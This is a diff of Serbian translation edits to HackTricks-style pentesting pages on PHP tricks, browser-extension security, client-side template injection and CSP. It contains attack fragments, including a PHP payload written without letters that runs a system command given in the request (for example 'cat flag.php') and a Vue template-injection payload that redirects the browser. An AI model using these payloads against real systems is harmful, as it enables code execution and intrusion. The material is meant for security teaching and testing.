@ -333,7 +333,7 @@ Možete koristiti **web**[ **www.unphp.net**](http://www.unphp.net) **za deobfus
PHP omotači i protokoli mogu vam omogućiti da **zaobiđete zaštite za pisanje i čitanje** u sistemu i kompromitujete ga. Za [**više informacija proverite ovu stranicu**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug neautentifikovani RCE
## Xdebug neautentifikovana RCE
Ako vidite da je **Xdebug** **omogućen** u `phpconfig()` izlazu, trebali biste pokušati da dobijete RCE putem [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
@ -351,7 +351,7 @@ echo "$x ${Da}"; //Da Drums
```
## RCE zloupotreba novog $\_GET\["a"]\($\_GET\["b")
Ako na stranici možete **napraviti novi objekat proizvoljne klase** možda ćete moći da dobijete RCE, proverite sledeću stranicu da biste saznali kako:
Ako na stranici možete **napraviti novi objekat proizvoljne klase**, možda ćete moći da dobijete RCE, proverite sledeću stranicu da biste saznali kako:
{{#ref}}
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
@ -381,7 +381,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
Dakle, ako možete **izvršiti proizvoljni PHP bez brojeva i slova** možete poslati zahtev poput sledećeg koristeći tu payload da izvršite proizvoljni PHP:
Dakle, ako možete **izvršiti proizvoljni PHP bez brojeva i slova** možete poslati zahtev poput sledećeg, zloupotrebljavajući taj payload da izvršite proizvoljni PHP:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

View File

@ -1,14 +1,14 @@
# Методологија Пентестинга Додатака за Прегледач
# Методологија Пентестинга Додатака за Прегледаче
{{#include ../../banners/hacktricks-training.md}}
## Основне Информације
Додаци за прегледач су написани у JavaScript-у и учитава их прегледач у позадини. Има свој [DOM](https://www.w3schools.com/js/js_htmldom.asp) али може да интерагује са DOM-овима других сајтова. То значи да може угрожавати повјерљивост, интегритет и доступност (CIA) других сајтова.
Додаци за прегледаче су написани у JavaScript-у и учитава их прегледач у позадини. Има свој [DOM](https://www.w3schools.com/js/js_htmldom.asp) али може да интерагује са DOM-овима других сајтова. То значи да може угрожавати повјерљивост, интегритет и доступност (CIA) других сајтова.
## Главне Компоненте
Распоред додатака изгледа најбоље када се визуализује и састоји се од три компоненте. Погледајмо сваку компоненту детаљно.
Изгледи додатака изгледају најбоље када су визуализовани и састоје се од три компоненте. Погледајмо сваку компоненту детаљно.
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
@ -22,20 +22,20 @@
### **Нативна Бинарна**
Додаци омогућавају нативну бинарну датотеку која може **приступити хост машини са пуном привилегијом корисника.** Нативна бинарна интерагује са основном структуром додатка преко стандардног Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) који користе Flash и други додаци за прегледач.
Додаци омогућавају нативну бинарну датотеку која може **приступити хост машини са пуном привилегијом корисника.** Нативна бинарна интерагује са основном структуром додатка преко стандардног Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) који користе Flash и други додаци за прегледаче.
### Границе
> [!CAUTION]
> Да би добио пуне привилегије корисника, нападач мора убедити додатак да проследи злонамерни улаз из скрипте садржаја у основну структуру додатка и из основне структуре додатка у нативну бинарну.
Свака компонента додатка је одвојена једна од друге **јакм заштитним границама**. Свака компонента ради у **одвојеном процесу оперативног система**. Скрипте садржаја и основне структуре додатка раде у **sandbox процесима** недоступним већини услуга оперативног система.
Свака компонента додатка је одвојена од других **јаким заштитним границама**. Свака компонента ради у **одвојеном процесу оперативног система**. Скрипте садржаја и основне структуре додатка раде у **sandbox процесима** недоступним већини услуга оперативног система.
Штавише, скрипте садржаја су одвојене од својих повезаних веб страница **извођењем у одвојеном JavaScript хипу**. Скрипта садржаја и веб страница имају **приступ истом основном DOM-у**, али се двоје **никада не размењују JavaScript показиваче**, спречавајући цурење JavaScript функционалности.
Штавише, скрипте садржаја су одвојене од својих повезаних веб страница **извођењем у одвојеном JavaScript хипу**. Скрипта садржаја и веб страница имају **приступ истом основном DOM-u**, али се двоје **никада не размењују JavaScript показиваче**, спречавајући цурење JavaScript функционалности.
## **`manifest.json`**
Chrome додатак је само ZIP фасцикла са [.crx екстензијом датотеке](https://www.lifewire.com/crx-file-2620391). Основна структура додатка је **`manifest.json`** датотека у корену фасцикле, која специфицира распоред, дозволе и друге опције конфигурације.
Chrome додатак је само ZIP фасцикла са [.crx екстензијом датотеке](https://www.lifewire.com/crx-file-2620391). Основна структура додатка је **`manifest.json`** датотека у корену фасцикле, која спецификује изглед, дозволе и друге опције конфигурације.
Пример:
```json
@ -78,7 +78,7 @@ Skripte sadržaja se **učitavaju** svaki put kada korisnik **navigira na odgova
```
Da bi se uključilo ili isključilo više URL-ova, takođe je moguće koristiti **`include_globs`** i **`exclude_globs`**.
Ovo je primer sadržajnog skripta koji će dodati dugme za objašnjenje na stranicu kada [API za skladištenje](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) preuzme `message` vrednost iz skladišta ekstenzije.
Ovo je primer sadržajnog skripta koji će dodati dugme za objašnjenje na stranicu kada [storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) preuzme `message` vrednost iz skladišta ekstenzije.
```js
chrome.storage.local.get("message", (result) => {
let div = document.createElement("div")
@ -95,7 +95,7 @@ Poruka se šalje na stranice ekstenzije putem sadržajnog skripta kada se pritis
> [!WARNING]
> U zavisnosti od pretraživača, mogućnosti sadržajnog skripta mogu se malo razlikovati. Za pretraživače zasnovane na Chromium-u, lista mogućnosti je dostupna u [Chrome Developers dokumentaciji](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), a za Firefox, [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) služi kao primarni izvor.\
> Takođe je važno napomenuti da sadržajni skripti imaju sposobnost da komuniciraju sa pozadinskim skriptima, omogućavajući im da izvršavaju radnje i vraćaju odgovore.
> Takođe je važno napomenuti da sadržajni skripti imaju mogućnost komunikacije sa pozadinskim skriptima, omogućavajući im da izvršavaju radnje i vraćaju odgovore.
Za pregledanje i debagovanje sadržajnih skripti u Chrome-u, meni alata za programere može se pristupiti iz Opcije > Više alata > Alati za programere ili pritiskom na Ctrl + Shift + I.
@ -305,9 +305,9 @@ U javnim ekstenzijama **extension-id je dostupan**:
Međutim, ako se koristi parametar `manifest.json` **`use_dynamic_url`**, ovaj **id može biti dinamičan**.
> [!TIP]
> Imajte na umu da čak i ako je stranica ovde pomenuta, može biti **zaštićena od ClickJacking** zahvaljujući **Content Security Policy**. Takođe treba da proverite (sekcija frame-ancestors) pre nego što potvrdite da je ClickJacking napad moguć.
> Imajte na umu da čak i ako je stranica ovde pomenuta, može biti **zaštićena od ClickJacking** zahvaljujući **Content Security Policy**. Takođe treba da proverite (odeljak frame-ancestors) pre nego što potvrdite da je ClickJacking napad moguć.
Dozvola za pristup ovim stranicama čini ove stranice **potencijalno ranjivim na ClickJacking**:
Dozvola pristupa ovim stranicama čini ih **potencijalno ranjivim na ClickJacking**:
{{#ref}}
browext-clickjacking.md
@ -319,13 +319,13 @@ browext-clickjacking.md
> [!CAUTION]
> Imajte na umu da stranice iz **`web_accessible_resources`** i druge stranice ekstenzije takođe mogu **kontaktirati pozadinske skripte**. Dakle, ako je jedna od ovih stranica ranjiva na **XSS**, to bi moglo otvoriti veću ranjivost.
>
> Pored toga, imajte na umu da možete otvoriti samo stranice navedene u **`web_accessible_resources`** unutar iframe-ova, ali iz nove kartice je moguće pristupiti bilo kojoj stranici u ekstenziji poznavajući ID ekstenzije. Stoga, ako se pronađe XSS koji zloupotrebljava iste parametre, može se zloupotrebljavati čak i ako stranica nije konfigurisana u **`web_accessible_resources`**.
> Pored toga, imajte na umu da možete otvoriti samo stranice navedene u **`web_accessible_resources`** unutar iframe-ova, ali iz nove kartice je moguće pristupiti bilo kojoj stranici u ekstenziji poznavajući ID ekstenzije. Stoga, ako se pronađe XSS koji zloupotrebljava iste parametre, može se zloupotrebiti čak i ako stranica nije konfigurisana u **`web_accessible_resources`**.
### `externally_connectable`
Prema [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), `"externally_connectable"` manifest svojstvo deklarira **koje ekstenzije i web stranice mogu da se povežu** sa vašom ekstenzijom putem [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) i [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
Prema [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), manifest svojstvo `"externally_connectable"` deklarira **koje ekstenzije i web stranice mogu da se povežu** sa vašom ekstenzijom putem [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) i [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
- Ako **`externally_connectable`** ključ **nije** deklarisan u manifestu vaše ekstenzije ili je deklarisan kao **`"ids": ["*"]`**, **sve ekstenzije mogu da se povežu, ali nijedna web stranica ne može da se poveže**.
- Ako ključ **`externally_connectable`** **nije** deklarisan u manifestu vaše ekstenzije ili je deklarisan kao **`"ids": ["*"]`**, **sve ekstenzije mogu da se povežu, ali nijedna web stranica ne može da se poveže**.
- Ako su **specifični ID-ovi navedeni**, kao u `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **samo te aplikacije** mogu da se povežu.
- Ako su **matches** navedeni, te web aplikacije će moći da se povežu:
```json
@ -340,7 +340,7 @@ Prema [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest
> [!CAUTION]
> Ako je veb stranica **ranjiva na XSS ili preuzimanje** navedena u **`externally_connectable`**, napadač će moći da **pošalje poruke direktno u pozadinski skript**, potpuno zaobilazeći Content Script i njegov CSP.
>
> Stoga, ovo je **veoma moćan zaobilazni put**.
> Stoga, ovo je **veoma moćan zaobilazni način**.
>
> Štaviše, ako klijent instalira lažnu ekstenziju, čak i ako nije dozvoljeno da komunicira sa ranjivom ekstenzijom, mogla bi da ubrizga **XSS podatke u dozvoljenu veb stranicu** ili zloupotrebi **`WebRequest`** ili **`DeclarativeNetRequest`** API-je da manipuliše zahtevima na ciljanom domenu menjajući zahtev stranice za **JavaScript datoteku**. (Imajte na umu da CSP na ciljnoj stranici može sprečiti ove napade). Ova ideja dolazi [**iz ovog izveštaja**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
@ -348,7 +348,7 @@ Prema [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest
### Ekstenzija <--> WebApp
Za komunikaciju između content skripta i veb stranice obično se koriste post poruke. Stoga, u veb aplikaciji obično ćete naći pozive funkciji **`window.postMessage`** i u content skriptu slušaoce poput **`window.addEventListener`**. Imajte na umu, međutim, da ekstenzija takođe može **komunicirati sa veb aplikacijom slanjem Post Poruke** (i stoga bi veb trebao to očekivati) ili jednostavno učiniti da veb učita novi skript.
Za komunikaciju između sadržajnog skripta i veb stranice obično se koriste post poruke. Stoga, u veb aplikaciji obično ćete pronaći pozive funkciji **`window.postMessage`** i u sadržajnom skriptu slušaoce poput **`window.addEventListener`**. Imajte na umu, međutim, da ekstenzija takođe može **komunicirati sa veb aplikacijom slanjem Post Poruke** (i stoga bi veb trebao to očekivati) ili jednostavno učiniti da veb učita novi skript.
### Unutar ekstenzije
@ -391,9 +391,9 @@ console.log("Content script received message from background script:", msg)
Takođe je moguće slati poruke iz pozadinskog skripta u sadržajni skript smešten u određenoj kartici pozivajući **`chrome.tabs.sendMessage`** gde ćete morati da navedete **ID kartice** kojoj šaljete poruku.
### Od dozvoljenih `externally_connectable` do ekstenzije
### Od dozvoljenog `externally_connectable` do ekstenzije
**Web aplikacije i eksternalni pregledački ekstenzije dozvoljene** u `externally_connectable` konfiguraciji mogu slati zahteve koristeći :
**Web aplikacije i eksternalni pregledački dodaci koji su dozvoljeni** u `externally_connectable` konfiguraciji mogu slati zahteve koristeći :
```javascript
chrome.runtime.sendMessage(extensionId, ...
```
@ -401,7 +401,7 @@ Gde je potrebno pomenuti **ID ekstenzije**.
### Native Messaging
Moguće je da skripte u pozadini komuniciraju sa binarnim datotekama unutar sistema, koje mogu biti **podložne kritičnim ranjivostima kao što su RCE** ako ova komunikacija nije pravilno obezbeđena. [Više o tome kasnije](#native-messaging).
Moguće je da skripte u pozadini komuniciraju sa binarnim datotekama unutar sistema, koje mogu biti **podložne kritičnim ranjivostima kao što su RCE** ako ova komunikacija nije pravilno zaštićena. [Više o tome kasnije](#native-messaging).
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -450,13 +450,13 @@ window.postMessage(
false
)
```
Sigurna Post Message komunikacija treba da proveri autentičnost primljene poruke, to se može uraditi proverom:
Sigurna Post Message komunikacija treba da proveri autentičnost primljene poruke, što se može uraditi proverom:
- **`event.isTrusted`**: Ovo je Tačno samo ako je događaj pokrenut akcijom korisnika
- Sadržajni skript može očekivati poruku samo ako korisnik izvrši neku akciju
- **izvorna domena**: može očekivati poruku samo sa dozvoljene liste domena.
- Ako se koristi regex, budite veoma oprezni
- **Izvor**: `received_message.source !== window` može se koristiti za proveru da li je poruka **iz iste prozora** gde sadržajni skript sluša.
- **Izvor**: `received_message.source !== window` može se koristiti za proveru da li je poruka **iz iste prozora** gde Sadržajni Skript sluša.
Prethodne provere, čak i ako su izvršene, mogu biti ranjive, pa proverite na sledećoj stranici **potencijalne Post Message zaobilaženja**:
@ -474,7 +474,7 @@ browext-xss-example.md
### DOM
Ovo nije "tačno" način komunikacije, ali **web i sadržajni skript će imati pristup web DOM-u**. Dakle, ako **sadržajni skript** čita neke informacije iz njega, **verujući web DOM-u**, web bi mogao **modifikovati ove podatke** (jer web ne bi trebao biti poveren, ili zato što je web ranjiv na XSS) i **kompromitovati Sadržajni Skript**.
Ovo nije "tačno" način komunikacije, ali **web i sadržajni skript će imati pristup web DOM-u**. Dakle, ako **sadržajni skript** čita neke informacije iz njega, **verujući web DOM-u**, web bi mogao **modifikovati ove podatke** (jer web ne bi trebao biti poverljiv, ili zato što je web ranjiv na XSS) i **kompromitovati Sadržajni Skript**.
Takođe možete pronaći primer **DOM baziranog XSS-a za kompromitovanje ekstenzije pretraživača** u:
@ -539,12 +539,12 @@ Ekstenzije pretraživača takođe omogućavaju komunikaciju sa **binarima u sist
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
}
```
Gde je `name` string koji se prosleđuje [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ili [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) za komunikaciju sa aplikacijom iz pozadinskih skripti ekstenzije pregledača. `path` je putanja do binarnog fajla, postoji samo 1 važeći `type` koji je stdio (koristi stdin i stdout) i `allowed_origins` označava ekstenzije koje mogu da mu pristupe (i ne mogu imati wildcard).
Gde je `name` string prosleđen u [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ili [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) za komunikaciju sa aplikacijom iz pozadinskih skripti ekstenzije pretraživača. `path` je putanja do binarnog fajla, postoji samo 1 važeći `type` koji je stdio (koristi stdin i stdout) i `allowed_origins` označava ekstenzije koje mogu da mu pristupe (i ne mogu imati wildcard).
Chrome/Chromium će tražiti ovaj json u nekim registrima sistema i nekim putanjama u macOS i Linux (više informacija u [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
> [!TIP]
> Ekstenzija pregledača takođe treba da ima dozvolu `nativeMessaing` deklarisanu kako bi mogla da koristi ovu komunikaciju.
> Ekstenzija pretraživača takođe treba da ima dozvolu `nativeMessaing` deklarisanu kako bi mogla da koristi ovu komunikaciju.
Ovako izgleda neki kod pozadinske skripte koji šalje poruke native aplikaciji:
```javascript
@ -567,23 +567,23 @@ I unutar njega objašnjen je primer **prelaska sa bilo koje stranice na RCE zlou
## Osetljive informacije u memoriji/kodu/clipboard-u
Ako ekstenzija pretraživača čuva **osetljive informacije unutar svoje memorije**, to može biti **izbačeno** (posebno na Windows mašinama) i **pretraženo** za te informacije.
Ako ekstenzija pretraživača čuva **osetljive informacije unutar svoje memorije**, to može biti **izvučeno** (posebno na Windows mašinama) i **pretraženo** za te informacije.
Stoga, memorija ekstenzije pretraživača **ne bi trebala biti smatrana sigurnom** i **osetljive informacije** kao što su akreditivi ili mnemoničke fraze **ne bi trebale biti čuvane**.
Naravno, **ne stavljajte osetljive informacije u kod**, jer će to biti **javno**.
Da biste izbacili memoriju iz pretraživača, možete **izbaciti memoriju procesa** ili da odete na **podešavanja** ekstenzije pretraživača klikom na **`Inspect pop-up`** -> U **`Memory`** sekciji -> **`Take a snapshot`** i **`CTRL+F`** da pretražujete unutar snimka za osetljive informacije.
Da biste izvadili memoriju iz pretraživača, možete **izvući memoriju procesa** ili da odete u **podešavanja** ekstenzije pretraživača klikom na **`Inspect pop-up`** -> U sekciji **`Memory`** -> **`Take a snapshot`** i **`CTRL+F`** da pretražujete unutar snimka za osetljive informacije.
Štaviše, veoma osetljive informacije kao što su mnemoničke ključeve ili lozinke **ne bi trebale biti dozvoljene za kopiranje u clipboard** (ili barem ih uklonite iz clipboard-a u nekoliko sekundi) jer će tada procesi koji prate clipboard moći da ih dobiju.
Štaviše, veoma osetljive informacije kao što su mnemoničke ključeve ili lozinke **ne bi trebale biti dozvoljene da se kopiraju u clipboard** (ili barem ih uklonite iz clipboard-a u nekoliko sekundi) jer će tada procesi koji prate clipboard moći da ih dobiju.
## Učitavanje ekstenzije u pretraživaču
1. **Preuzmite** ekstenziju pretraživača & raspakujte je
2. Idite na **`chrome://extensions/`** i **omogućite** `Developer Mode`
3. Kliknite na **`Load unpacked`** dugme
3. Kliknite na dugme **`Load unpacked`**
U **Firefox-u** idete na **`about:debugging#/runtime/this-firefox`** i kliknite na **`Load Temporary Add-on`** dugme.
U **Firefox-u** idete na **`about:debugging#/runtime/this-firefox`** i kliknite na dugme **`Load Temporary Add-on`**.
## Dobijanje izvornog koda iz prodavnice
@ -614,7 +614,7 @@ Chrome ekstenzije instalirane lokalno takođe se mogu pregledati. Evo kako:
1. Pristupite svom lokalnom profilu Chrome-a tako što ćete posetiti `chrome://version/` i pronaći polje "Profile Path".
2. Idite u podfolder `Extensions/` unutar direktorijuma profila.
3. Ova fascikla sadrži sve instalirane ekstenzije, obično sa njihovim izvorni kodom u čitljivom formatu.
3. Ova fascikla sadrži sve instalirane ekstenzije, obično sa njihovim izvorom u čitljivom formatu.
Da biste identifikovali ekstenzije, možete mapirati njihove ID-eve na imena:
@ -631,7 +631,7 @@ Otvorite Chrome i idite na `chrome://extensions/`. Omogućite "Developer mode" u
## Skup podataka manifest ekstenzija za Chrome
Da biste pokušali da pronađete ranjive ekstenzije za pretraživač, možete koristiti [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) i proveriti njihove manifest datoteke za potencijalno ranjive znakove. Na primer, da biste proverili ekstenzije sa više od 25000 korisnika, `content_scripts` i dozvolu `nativeMessaging`:
Da biste pokušali da pronađete ranjive ekstenzije za pretraživač, možete koristiti [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) i proveriti njihove manifest datoteke na potencijalno ranjive znakove. Na primer, da biste proverili ekstenzije sa više od 25000 korisnika, `content_scripts` i dozvolu `nativeMessaging`:
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
@ -640,18 +640,18 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
Iako ekstenzije za pretraživače imaju **ograničenu površinu napada**, neke od njih mogu sadržati **ranjivosti** ili **potencijalna poboljšanja sigurnosti**. Sledeće su najčešće:
- [ ] **Ograničiti** koliko je moguće tražene **`permissions`**
- [ ] **Ograničiti** koliko je moguće **`host_permissions`**
- [ ] Koristiti **jaku** **`content_security_policy`**
- [ ] **Ograničiti** koliko je moguće **`externally_connectable`**, ako nije potrebno i moguće, ne ostavljati ga podrazumevano, specificirati **`{}`**
- [ ] Ako je ovde pomenut **URL ranjiv na XSS ili preuzimanje**, napadač će moći da **šalje poruke direktno pozadinskim skriptama**. Veoma moćan zaobilaženje.
- [ ] **Ograničiti** koliko je moguće **`web_accessible_resources`**, čak i prazno ako je moguće.
- [ ] Ako **`web_accessible_resources`** nije nijedno, proveriti [**ClickJacking**](browext-clickjacking.md)
- [ ] Ako se bilo koja **komunikacija** dešava od **ekstenzije** do **web stranice**, [**proveriti XSS**](browext-xss-example.md) **ranjivosti** uzrokovane u komunikaciji.
- [ ] Ako se koriste Post Messages, proveriti [**Post Message ranjivosti**](../postmessage-vulnerabilities/)**.**
- [ ] Ako **Content Script pristupa DOM detaljima**, proveriti da li **ne uvode XSS** ako ih web **modifikuje**
- [ ] Posebno naglasiti ako je ova komunikacija takođe uključena u **Content Script -> komunikaciju pozadinske skripte**
- [ ] Ako pozadinska skripta komunicira putem **native messaging**, proveriti da li je komunikacija sigurna i sanirana
- [ ] **Ograničite** koliko god je moguće tražene **`permissions`**
- [ ] **Ograničite** koliko god je moguće **`host_permissions`**
- [ ] Koristite **jaku** **`content_security_policy`**
- [ ] **Ograničite** koliko god je moguće **`externally_connectable`**, ako nije potrebno i moguće, ne ostavljajte ga podrazumevano, navedite **`{}`**
- [ ] Ako je ovde pomenut **URL ranjiv na XSS ili preuzimanje**, napadač će moći da **šalje poruke pozadinskim skriptama direktno**. Veoma moćan zaobilaženje.
- [ ] **Ograničite** koliko god je moguće **`web_accessible_resources`**, čak i prazne ako je moguće.
- [ ] Ako **`web_accessible_resources`** nije nijedna, proverite za [**ClickJacking**](browext-clickjacking.md)
- [ ] Ako se bilo koja **komunikacija** dešava od **ekstenzije** do **web stranice**, [**proverite za XSS**](browext-xss-example.md) **ranjivosti** uzrokovane u komunikaciji.
- [ ] Ako se koriste Post Messages, proverite za [**Post Message ranjivosti**](../postmessage-vulnerabilities/index.html)**.**
- [ ] Ako **Content Script pristupa DOM detaljima**, proverite da li **ne uvode XSS** ako ih **modifikuje** web
- [ ] Posebno naglasite ako je ova komunikacija takođe uključena u **komunikaciju Content Script -> pozadinska skripta**
- [ ] Ako pozadinska skripta komunicira putem **native messaging**, proverite da li je komunikacija sigurna i sanirana
- [ ] **Osetljive informacije ne bi trebalo da budu pohranjene** unutar koda ekstenzije za pretraživač
- [ ] **Osetljive informacije ne bi trebalo da budu pohranjene** unutar memorije ekstenzije za pretraživač
- [ ] **Osetljive informacije ne bi trebalo da budu pohranjene** unutar **datotečnog sistema nezaštićeno**
@ -665,12 +665,12 @@ Iako ekstenzije za pretraživače imaju **ograničenu površinu napada**, neke o
### [**Tarnish**](https://thehackerblog.com/tarnish/)
- Preuzima bilo koju Chrome ekstenziju sa datog linka Chrome web prodavnice.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **pregledač**: jednostavno prikazuje JSON formatiranu verziju manifest datoteke ekstenzije.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **pregledač**: jednostavno prikazuje JSON-formatiranu verziju manifest datoteke ekstenzije.
- **Analiza otiska**: Detekcija [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) i automatska generacija JavaScript-a za otiskivanje Chrome ekstenzija.
- **Potencijalna analiza Clickjacking-a**: Detekcija HTML stranica ekstenzije sa postavljenom direktivom [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Ove su potencijalno ranjive na clickjacking u zavisnosti od svrhe stranica.
- **Pregledač upozorenja o dozvolama**: koji prikazuje listu svih upozorenja o dozvolama Chrome-a koja će biti prikazana kada korisnik pokuša da instalira ekstenziju.
- **Opasne funkcije**: prikazuje lokaciju opasnih funkcija koje bi potencijalno mogle biti iskorišćene od strane napadača (npr. funkcije kao što su innerHTML, chrome.tabs.executeScript).
- **Ulazne tačke**: prikazuje gde ekstenzija prima korisnički/spoljašnji ulaz. Ovo je korisno za razumevanje površine ekstenzije i traženje potencijalnih tačaka za slanje zlonamerno oblikovanih podataka ekstenziji.
- **Ulazne tačke**: prikazuje gde ekstenzija prima korisnički/eksterni ulaz. Ovo je korisno za razumevanje površine ekstenzije i traženje potencijalnih tačaka za slanje zlonamerno oblikovanih podataka ekstenziji.
- I skeneri Opasnih funkcija i Ulaznih tačaka imaju sledeće za svoje generisane alarme:
- Relevantni deo koda i linija koja je izazvala alarm.
- Opis problema.
@ -680,16 +680,16 @@ Iako ekstenzije za pretraživače imaju **ograničenu površinu napada**, neke o
- Tip datoteke, kao što su skripta pozadinske stranice, skripta sadržaja, akcija pretraživača, itd.
- Ako je ranjiva linija u JavaScript datoteci, putanje svih stranica gde je uključena kao i tip ovih stranica, i [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status.
- **Analizator politike sigurnosti sadržaja (CSP) i proveravač zaobilaženja**: Ovo će ukazati na slabosti u CSP-u vaše ekstenzije i takođe će osvetliti sve potencijalne načine zaobilaženja vašeg CSP-a zbog belih lista CDN-ova itd.
- **Poznate ranjive biblioteke**: Ovo koristi [Retire.js](https://retirejs.github.io/retire.js/) da proveri da li se koriste poznate ranjive JavaScript biblioteke.
- Preuzimanje ekstenzije i formatiranih verzija.
- Preuzimanje originalne ekstenzije.
- Preuzimanje ulepšane verzije ekstenzije (automatski formatirani HTML i JavaScript).
- Automatsko keširanje rezultata skeniranja, pokretanje skeniranja ekstenzije će potrajati neko vreme prvi put kada ga pokrenete. Međutim, drugi put, pod pretpostavkom da ekstenzija nije ažurirana, biće gotovo instant zbog keširanih rezultata.
- Linkabilni URL-ovi izveštaja, lako povezivanje nekoga sa izveštajem o ekstenziji generisanim od strane tarnish.
- **Poznate ranjive biblioteke**: Ovo koristi [Retire.js](https://retirejs.github.io/retire.js/) da proveri za bilo kakvu upotrebu poznatih ranjivih JavaScript biblioteka.
- Preuzmite ekstenziju i formatirane verzije.
- Preuzmite originalnu ekstenziju.
- Preuzmite ulepšanu verziju ekstenzije (automatski formatirani HTML i JavaScript).
- Automatsko keširanje rezultata skeniranja, pokretanje skeniranja ekstenzije će potrajati dobar deo vremena prvi put kada ga pokrenete. Međutim, drugi put, pod pretpostavkom da ekstenzija nije ažurirana, biće gotovo instant zbog keširanih rezultata.
- Linkabilni URL-ovi izveštaja, lako povežite nekoga sa izveštajem o ekstenziji generisanim od strane tarnish.
### [Neto](https://github.com/elevenpaths/neto)
Projekat Neto je Python 3 paket osmišljen za analizu i otkrivanje skrivenih funkcija ekstenzija i dodataka za pretraživače kao što su Firefox i Chrome. Automatizuje proces raspakivanja pakovanih datoteka kako bi izvukao ove funkcije iz relevantnih resursa u ekstenziji kao što su `manifest.json`, lokalizacione fascikle ili JavaScript i HTML izvorne datoteke.
Projekat Neto je Python 3 paket osmišljen za analizu i otkrivanje skrivenih funkcija ekstenzija i dodataka za pretraživače kao što su Firefox i Chrome. Automatizuje proces raspakivanja pakovanih datoteka kako bi izvukao ove funkcije iz relevantnih resursa u ekstenziji kao što su `manifest.json`, folderi za lokalizaciju ili JavaScript i HTML izvorne datoteke.
## Reference

View File

@ -4,7 +4,7 @@
## Summary
To je kao [**Server Side Template Injection**](ssti-server-side-template-injection/) ali u **klijentu**. **SSTI** može omogućiti **izvršavanje koda** na udaljenom serveru, dok **CSTI** može omogućiti **izvršavanje proizvoljnog JavaScript** koda u pretraživaču žrtve.
To je kao [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) ali u **klijentu**. **SSTI** može omogućiti **izvršavanje koda** na udaljenom serveru, dok **CSTI** može omogućiti **izvršavanje proizvoljnog JavaScript** koda u pretraživaču žrtve.
**Testiranje** za ovu ranjivost je veoma **slično** kao u slučaju **SSTI**, interpreter očekuje **šablon** i izvršiće ga. Na primer, sa payload-om kao što je `{{ 7-7 }}`, ako je aplikacija **ranjiva** videćete `0`, a ako nije, videćete original: `{{ 7-7 }}`
@ -35,7 +35,7 @@ I **izvorni kod** ranjivog primera ovde: [https://github.com/azu/vue-client-side
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
Zaista dobar post o CSTI u VUE može se naći na [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
Stvarno dobar post o CSTI u VUE može se naći na [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
### **V3**
```

View File

@ -4,7 +4,7 @@
## Šta je CSP
Content Security Policy (CSP) se prepoznaje kao tehnologija pretraživača, prvenstveno usmerena na **zaštitu od napada kao što su cross-site scripting (XSS)**. Funkcioniše tako što definiše i detaljno opisuje puteve i izvore sa kojih se resursi mogu sigurno učitati od strane pretraživača. Ovi resursi obuhvataju niz elemenata kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa iste domene (self), uključujući inline resurse i izvršavanje string koda putem funkcija kao što su `eval`, `setTimeout` ili `setInterval`.
